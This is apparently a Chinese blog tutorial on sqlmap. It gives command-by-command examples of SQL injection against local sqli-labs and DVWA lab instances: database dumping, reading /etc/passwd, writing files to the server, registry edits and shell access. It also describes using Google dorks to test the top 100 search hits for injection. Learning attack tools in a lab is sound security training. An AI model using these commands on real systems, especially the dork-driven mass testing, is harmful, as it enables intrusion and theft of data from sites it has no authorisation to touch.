sqlmap的操作

sqlmap使用的注意点

如果第一次失败后,记得删除用户缓存。因为sqlmap在注入时会自动读取用户缓存,如果不删除可能会影响结果

常用参数

常用参数
–current-user 操作系统用户
–current-db     当前库名
–dbs            所有库名
–hostname    
–users        数据库管理员
–privileges   查看管理员权限
–roles        查看数据库角色

脱裤参数
1.    –dump,-C,-T,-D,--start,--stop(部分脱裤)
2.    –dump-all –exclude-sysdbs(直接脱裤)
3.    –sql-query “select * from users” (自己的命令脱裤)
4.    当数据库管理员比较安全,没法顺利脱裤,只能利用字典拆解表名列名
    a)    –common-tables    --common-columns

系统操作参数
Sqlmap的系统操作
a)    参数:
    i.    –udf-inject    --shared-lib        编译共享库并上传实现UDF高级注入
        1.    Linux:share object文件    windows:DLL文件
    ii.    读文件:
        1.    –file-read=”绝对路径”
    iii.    写文件:
        1.    –file-write=”需要写入的文件绝对路径”  --file-dest=”写入的路径”
    iv.    Linux下
        1.    –sql-shell        mysql的shell(本质上是对注入查询出来的数据建立的临时数据库,只能对原数据查询,不能增删该)
        2.    –os-shell        Linux的上传得webshell连接后的一个可控shell,但不是系统shell
        3.    –os-cmd
    v.    Windows下
        1.    –reg-read    (读注册表)
        2.    –reg-add        (写注册表)
        3.    –reg-del        (删注册表)
        4.    –reg-key –reg-value –reg-data  --reg-type(注册表参数)

GET请求的方式(POST的方式类似,可以使用mehod该发包方式,data设置参数)

注入查询

a)    –u 指定网页 –p 指定参数(注入位置)
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id
根据英文提示进行选择即可
注入测试后出现的结果

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --current-user 查看当前用户

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --current-db

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –dbs

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --hostname

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –users

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --privileges

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –role

脱裤

步骤:查库-〉查表-〉查数据

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id –dbs 查库,选择库名
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security –tables 查表

sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users –dump 查数据

通过查询表格结构,选择性查询数据
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users –columns 查表格结构

查单列数据
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users -C username –dump

查多列数据
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id -D security -T users -C username,password –dump


直接脱裤

直接脱裤
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --dump-all --exclude-sysdbs

自己命令脱裤
sqlmap -u http://192.168.1.106/sqli-labs-master/Less-1/?id=1 -p id --sql-query "select * from users"

对于带有cookie的脱裤操作(如果直接读取数据包,包中包含cookie的数据则可以直接脱裤)

手动添加cookie

i.    以DVWA为目标
ii.    开始操作:    最好在 –u 后的url地址中添加 “” 
sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=cba280d6f9c6dc25364ee79146d10431#" -p id


没有cookie所以导致失败
通过对地址添加cookie修正问题,或者直接BurpSuite抓包对文件进行读取发包方式

获取cookie,添加到命令中
sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=a68oeapobi0kid19n3fi3t02g3"


可以脱裤操作

抓包添加cookie

使用BurpSuite抓包脱裤
1. 抓包将数据包保存到本地

2. 使用 –r 绝对路径进行操作 这种适合POST数据包和含有cookie的数据包
sqlmap -r “C:\Users\ROC\Desktop\a.txt” -p id

3. 脱裤操作一样
4. 注入时修改user-gent
sqlmap -r “C:\Users\ROC\Desktop\a.txt” -p id –user-agent “nihao” –user-agent 内容可以自定义

5. –data 通过发送设置数据 –method指定 post还是get方式发送数据
a) 使用POST的方式
sqlmap -r “C:\Users\ROC\Desktop\1.txt” -p search –method post –data “search=1234”

b) 使用GET的方式
sqlmap -r “C:\Users\ROC\Desktop\1.txt” -p search –method get –data “search=1234”

系统操作

读文件

sqlmap -u "http://192.168.1.106/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=a68oeapobi0kid19n3fi3t02g3" --file-read="/etc/passwd"

写文件

sqlmap -r "D:\a.txt" --file-write="D:\1.txt" --file-dest="/var/www/html/tmp/1,txt"


权限不足
换个文件路径

sqlmap -u "http://192.168.100.88/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=fqc3ra2jpq8538vaa6idlbp2a5" --file-write="D:\1.txt" --file-dest="/tmp/1"


写入成功
查看写入的内容

sqlmap -u "http://192.168.100.88/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie "security=low; PHPSESSID=fqc3ra2jpq8538vaa6idlbp2a5" --file-read="/tmp/1.txt"

系统操作(以添加注册表为例)

sqlmap -r "C:\Users\ROC\Desktop\1.txt" -p search --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

执行SQL语句(本质是在注入中创建了数据库副本,只能执行查询操作,增删该没有意义)

对抓取的数据包进行操作

a) 进入sql-shell
sqlmap -r “C:\Users\ROC\Desktop\1.txt” -p search –sql-shell

只能执行查询语句,这个相当于数据库的副本,增删该都没有意义
Select * from users

b) Sqlmap支持 –g 参数使用谷哥浏览器查询,只获取前100个结果
i. intex:
ii. inurl:
iii. intitle:
eg: sqlmap -g “inurl:".php?id=1"“ 就可以在google中搜索符合条件的前一百进行注入测试。


   转载规则


《sqlmap的操作》 Evolyutsiya 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
SQL宽字节注入,使用sqlmap注入 SQL宽字节注入,使用sqlmap注入
注入原理与数字型和文字型一样,都是在接受用户输入的参数后未能有效的处理用户输入的数据,当数据导入数据库进行查询时产生的漏洞。
下一篇 
windows和Linux设置快捷方式 windows和Linux设置快捷方式
批处理里的 @echo off、echo off、::echo off1.@echo off @echo off echo 1111111111111111111 echo 2222222222222222222 echo 33333333
  目录